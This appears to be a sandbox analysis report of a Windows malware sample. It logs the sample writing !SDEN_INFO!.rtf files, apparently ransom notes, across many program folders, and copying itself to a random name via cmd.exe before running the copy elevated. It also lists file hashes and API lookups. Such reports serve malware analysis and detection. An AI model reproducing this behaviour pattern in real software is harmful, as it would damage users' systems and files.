File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\tr-TR\index.html, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files\UNP\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
System	Sleep	duration = 1000 milliseconds (1.000 seconds)	1	Fn
File	Get Info	filename = C:\Logs\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Javascripts\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Javascripts\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Javascripts\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\en_US\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\en_US\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Locale\en_US\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins3d\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\css\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\hi_contrast\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\hi_contrast\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\cs-cz\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\cs-cz\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\cs-cz\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\de-de\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\de-de\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\de-de\!SDEN_INFO!.rtf, size = 2843	1	Fn Data
File	Get Info	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fi-fi\!SDEN_INFO!.rtf, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\fi-fi\!SDEN_INFO!.rtf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL	1	Fn
For performance reasons, the remaining 5702 entries are omitted. The remaining entries can be found in glog.xml.

Process #3: cmd.exe

156

0

»

Information	Value
ID	#3
File Name	c:\windows\syswow64\cmd.exe
Command Line	"C:\WINDOWS\system32\cmd.exe" /C copy /V /Y "C:\Users\FD1HVy\Desktop\m.exe" "C:\Users\FD1HVy\Desktop\NWqZQdpD.exe"
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:16, Reason: Child Process
Unmonitor	End Time: 00:01:20, Reason: Self Terminated
Monitor Duration	00:00:04

OS Process Information

»

Information	Value
PID	0xe9c
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x F54 0x 4D0

Memory Dumps

»

Name	Start VA	End VA	Dump Reason	PE Rebuilds	Bitness	Entry Points	AV	YARA	Actions
cmd.exe	0x00CD0000	0x00D28FFF	Process Termination	-	32-bit	-			... Region Actions Download Dump

Dropped Files

»

Filename	File Size	Hash Values	YARA Match	Actions
C:\Users\FD1HVy\Desktop\m.exe	1.16 MB	MD5: 291bfa021dc98473954d089bdc1fad35 SHA1: baa51f3c50a8301b75a8f4c8cb6536bef1c61806 SHA256: ffb44b8de928bd2c1b885e1c35bff3311631a83af9a18253aaf0d9fa7a901aa0 SSDeep: 24576:exsxl/OOeI7RC4CJR5ez+IlnRJE5AxBK9jCdAsr+N:tfjREqyx9		... File Actions Show Properties Download

Threads

Thread 0xf54

156

0

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\windows\syswow64\cmd.exe, base_address = 0xcd0000	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadUILanguage, address_out = 0x75ea4f70	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	3	Fn
File	Open	filename = STD_INPUT_HANDLE	2	Fn
Environment	Get Environment String	-	2	Fn Data
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 192, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor, value_name = AutoRun, data = 64, type = REG_NONE	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DisableUNCCheck, data = 64, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DelayedExpansion, data = 1, type = REG_NONE	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN	1	Fn
Registry	Read Value	reg_name = HKEY_CURRENT_USER\Software\Microsoft\Command Processor, value_name = AutoRun, data = 9, type = REG_NONE	1	Fn
Module	Get Filename	process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\WINDOWS\SysWOW64\cmd.exe, size = 32743	1	Fn
Environment	Get Environment String	name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Users\FD1HVy\AppData\Local\Microsoft\WindowsApps	1	Fn
Environment	Get Environment String	name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC	1	Fn
Environment	Get Environment String	name = PROMPT	1	Fn
Environment	Set Environment String	name = PROMPT, value = $P$G	1	Fn
Environment	Get Environment String	-	1	Fn Data
Environment	Get Environment String	name = COMSPEC, result_out = C:\WINDOWS\system32\cmd.exe	1	Fn
Environment	Get Environment String	name = KEYS	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop, type = file_attributes	2	Fn
Environment	Set Environment String	name = =C:, value = C:\Users\FD1HVy\Desktop	1	Fn
Environment	Get Environment String	-	1	Fn Data
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = CopyFileExW, address_out = 0x75ea4330	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = IsDebuggerPresent, address_out = 0x75ea5930	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetConsoleInputExeNameW, address_out = 0x74fe09d0	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop\m.exe, type = file_attributes	1	Fn
Process	Get Info	type = PROCESS_PAGE_PRIORITY	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\m.exe, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Read	size = 512, size_out = 512	1	Fn Data
File	Get Info	filename = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe, type = file_attributes	2	Fn
File	Copy	source_filename = C:\Users\FD1HVy\Desktop\m.exe, destination_filename = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe	1	Fn
File	Get Info	filename = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe, type = file_attributes	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe, desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Create	filename = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe, desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE	1	Fn
File	Open	-	1	Fn
File	Get Info	type = file_type	1	Fn
File	Open	-	1	Fn
File	Open	-	1	Fn
File	Open	-	1	Fn
File	Get Info	type = size, size_out = 0	1	Fn
File	Open	-	1	Fn
File	Get Info	type = size, size_out = 0	1	Fn
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 65024	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 65024, size_out = 44544	1	Fn Data
File	Open	-	1	Fn
File	Read	size = 44544, size_out = 44544	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	1	Fn
File	Get Info	filename = STD_OUTPUT_HANDLE, type = file_type	1	Fn
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Write	filename = STD_OUTPUT_HANDLE, size = 27	1	Fn Data
File	Open	filename = STD_OUTPUT_HANDLE	2	Fn
File	Open	filename = STD_INPUT_HANDLE	1	Fn

Process #5: nwqzqdpd.exe

500

2

»

Information	Value
ID	#5
File Name	c:\users\fd1hvy\desktop\nwqzqdpd.exe
Command Line	"C:\Users\FD1HVy\Desktop\NWqZQdpD.exe" -n
Initial Working Directory	C:\Users\FD1HVy\Desktop\
Monitor	Start Time: 00:01:20, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:03:05

OS Process Information

»

Information	Value
PID	0xc58
Parent PID	0xfc8 (c:\users\fd1hvy\desktop\m.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	High (Elevated)
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x ED8 0x 468 0x E64 0x D70 0x A78 0x A80 0x CAC 0x E44 0x A90 0x A24 0x BE4 0x 5F8 0x A84 0x 3CC 0x 83C 0x D3C 0x DF8 0x 7B8 0x 9B4 0x 4E4 0x 7B4 0x D34 0x E90 0x D28 0x B6C 0x DDC 0x DB0 0x DA8 0x 6D8 0x 7A4 0x D6C 0x D88 0x 42C 0x 324 0x F10 0x D7C 0x 8E8 0x C9C 0x D90 0x 9FC 0x EEC 0x F54 0x FC0 0x E88 0x E5C 0x ED4 0x F68 0x A88 0x D60 0x AC8 0x 8AC 0x F48 0x F64 0x 1004 0x 1008 0x 100C 0x 1010 0x 1014 0x 1018 0x 1020 0x 1024 0x 1028 0x 102C 0x 1030 0x 1034 0x 1038 0x 1170 0x 1184

Threads

Thread 0xed8

165

2

»

Category	Operation	Information	Count	Logfile
Module	Get Handle	module_name = c:\users\fd1hvy\desktop\nwqzqdpd.exe, base_address = 0x400000	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetThreadPreferredUILanguages, address_out = 0x75ea7250	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SetThreadPreferredUILanguages, address_out = 0x75ea4f10	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetThreadUILanguage, address_out = 0x75ea7290	1	Fn
System	Get Info	type = Hardware Information	1	Fn
System	Get Info	type = Operating System	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Get Filename	module_name = c:\users\fd1hvy\desktop\nwqzqdpd.exe, process_name = c:\users\fd1hvy\desktop\nwqzqdpd.exe, file_name_orig = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe, size = 522	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\nwqzqdpd.exe, file_name_orig = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe, size = 261	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Embarcadero\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Embarcadero\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\CodeGear\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\CodeGear\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Load	module_name = kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetNativeSystemInfo, address_out = 0x75ea5130	1	Fn
System	Get Info	type = Hardware Information	1	Fn
System	Get Info	type = Operating System	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetDiskFreeSpaceExW, address_out = 0x75efeea0	1	Fn
Module	Get Filename	process_name = c:\users\fd1hvy\desktop\nwqzqdpd.exe, file_name_orig = C:\Users\FD1HVy\Desktop\NWqZQdpD.exe, size = 261	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Embarcadero\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\Embarcadero\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\CodeGear\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_LOCAL_MACHINE\Software\CodeGear\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Locales	1	Fn
Registry	Open Key	reg_name = HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = GetLogicalProcessorInformation, address_out = 0x75ea71b0	2	Fn
Module	Get Handle	module_name = c:\windows\syswow64\oleaut32.dll, base_address = 0x75bb0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VariantChangeTypeEx, address_out = 0x75bca610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarNeg, address_out = 0x75c152c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarNot, address_out = 0x75c16560	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarAdd, address_out = 0x75bed610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarSub, address_out = 0x75bee3e0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarMul, address_out = 0x75bedb10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarDiv, address_out = 0x75c15800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarIdiv, address_out = 0x75c161a0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarMod, address_out = 0x75c16400	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarAnd, address_out = 0x75be3200	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarOr, address_out = 0x75c16610	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarXor, address_out = 0x75c167b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarCmp, address_out = 0x75bd60b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarI4FromStr, address_out = 0x75bd6ec0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarR4FromStr, address_out = 0x75be3010	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarR8FromStr, address_out = 0x75be3630	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarDateFromStr, address_out = 0x75bd8b90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarCyFromStr, address_out = 0x75bc2d90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBoolFromStr, address_out = 0x75bd48f0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromCy, address_out = 0x75bd7f50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromDate, address_out = 0x75bd89c0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\oleaut32.dll, function = VarBstrFromBool, address_out = 0x75bd48a0	1	Fn
System	Get Time	type = Performance Ctr, time = 14131712591	1	Fn
System	Get Time	type = Ticks, time = 141281	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:39:48 (Local Time)	2	Fn
System	Get Time	type = Performance Ctr, time = 14131772359	1	Fn
System	Get Time	type = Ticks, time = 141281	1	Fn
System	Get Time	type = Local Time, time = 2019-04-17 12:39:48 (Local Time)	2	Fn
Module	Get Handle	module_name = c:\windows\syswow64\ole32.dll, base_address = 0x77920000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoCreateInstanceEx, address_out = 0x75d62d10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoInitializeEx, address_out = 0x75d32590	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoAddRefServerProcess, address_out = 0x75d5b8b0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoReleaseServerProcess, address_out = 0x75d5b350	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoResumeClassObjects, address_out = 0x75d55c80	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ole32.dll, function = CoSuspendClassObjects, address_out = 0x75cbc190	1	Fn
Module	Get Handle	module_name = c:\windows\syswow64\kernel32.dll, base_address = 0x75e90000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = InitializeConditionVariable, address_out = 0x77c13a00	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WakeConditionVariable, address_out = 0x77c88c50	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = WakeAllConditionVariable, address_out = 0x77c18a90	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\kernel32.dll, function = SleepConditionVariableCS, address_out = 0x7500fca0	1	Fn
Module	Load	module_name = ws2_32.dll, base_address = 0x746a0000	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = WSAIoctl, address_out = 0x746ae800	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = __WSAFDIsSet, address_out = 0x746b8fa0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = closesocket, address_out = 0x746b0910	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = ioctlsocket, address_out = 0x746afa10	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = WSAGetLastError, address_out = 0x746b8fe0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = WSAStartup, address_out = 0x746a5b40	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = WSACleanup, address_out = 0x746b7170	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = accept, address_out = 0x746de430	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = bind, address_out = 0x746b1cc0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = connect, address_out = 0x746a5410	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getpeername, address_out = 0x746b43d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getsockname, address_out = 0x746b3750	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = getsockopt, address_out = 0x746b3b30	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = htonl, address_out = 0x746a49d0	1	Fn
Module	Get Address	module_name = c:\windows\syswow64\ws2_32.dll, function = htons, address_out = 0x746b8ff0	1	Fn
